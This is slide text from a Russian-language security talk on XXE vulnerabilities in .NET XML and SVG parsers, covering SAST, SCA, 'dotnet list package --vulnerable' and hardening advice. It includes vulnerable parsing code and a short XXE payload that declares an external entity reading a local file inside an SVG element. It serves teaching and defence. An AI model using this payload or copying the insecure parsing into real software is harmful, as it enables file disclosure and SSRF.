this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml)
{

var request = new XmlDocument();
try {

if ( !(xml.StartsWith("<?xml") 
|| xml.StartsWith("<method"))) {

xml = xml.Substring(xml.IndexOf("<?xml"));
}
request.LoadXml(xml);

}
....

}
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SAST
• Статический анализ на дефекты безопасности
• Проверка код приложений
• Плюсы
• Покрытие всей кодовой базы
• Не требует подготовки окружения

• Минусы
• Даёт false positives
• ”Чувствителен” к библиотечному коду
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SVG.NET
void ProcessSvg()
{

using var svgStream = GetSvgFromUser();    
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);    

// SVG document processing...

SendSvgToUser(svgDoc);
} 
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SVG.NET
void ProcessSvg()
{

using var svgStream = GetSvgFromUser();    
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);    

// SVG document processing...

SendSvgToUser(svgDoc);
} 
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Software Composition Analysis (SCA)

The Project

Dep #1

Dep #3

Dep #4

Dep #5

Dep #2
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SCA
• Анализ компонентов на наличие уязвимых
• Используются базы данных об уязвимостях

• CPE (Common Platform Enumeration)
• GitHub Advisory Database
• Собственные базы
• ...
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SCA: IDE
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SCA: CLI
dotnet list package --vulnerable
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SCA
• Анализ компонентов на наличие уязвимых
• Используются базы данных об уязвимостях

• CPE (Common Platform Enumeration)
• GitHub Advisory Database
• Собственные базы
• ...
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SVG.NET

SVG 
parser

<!ENTITY hostsEntity SYSTEM "file:/path/to/file">
....
<mask>&hostsEntity;</mask>
....
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Ручное тестирование
• Не стоит полагаться только на SAST и SCA
• Используйте приближенный к целевому формат файла
• Используйте внешние сущности для “пинга” конечной точки

(см. примеры из этой презентации)

• beeceptor.com — легкое создание конечных точек



Итоги
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XXE: общее
• XXE: опасный парсер + вредоносные данные
• Угрозы
• SSRF
• утечки данных
• репутационные риски

• Результат парсинга...
• ...отдаётся обратно — совсем плохо
• ...не отдаётся обратно — всё равно опасно
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XXE: XML-парсеры
• Дефолтные парсеры
• .NET Framework < 4.5.2 👎
• .NET Framework >= 4.5.2 🤔
• .NET 👍

• Парсеры в зависимостях🤷
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XXE: защита
• Явно прописывайте безопасные настройки
• Проверяйте код с помощью SAST
• Проверяйте зависимости с помощью SCA
• Не полагайтесь только на инструменты
• Secure SDLC, безопасники, все дела 
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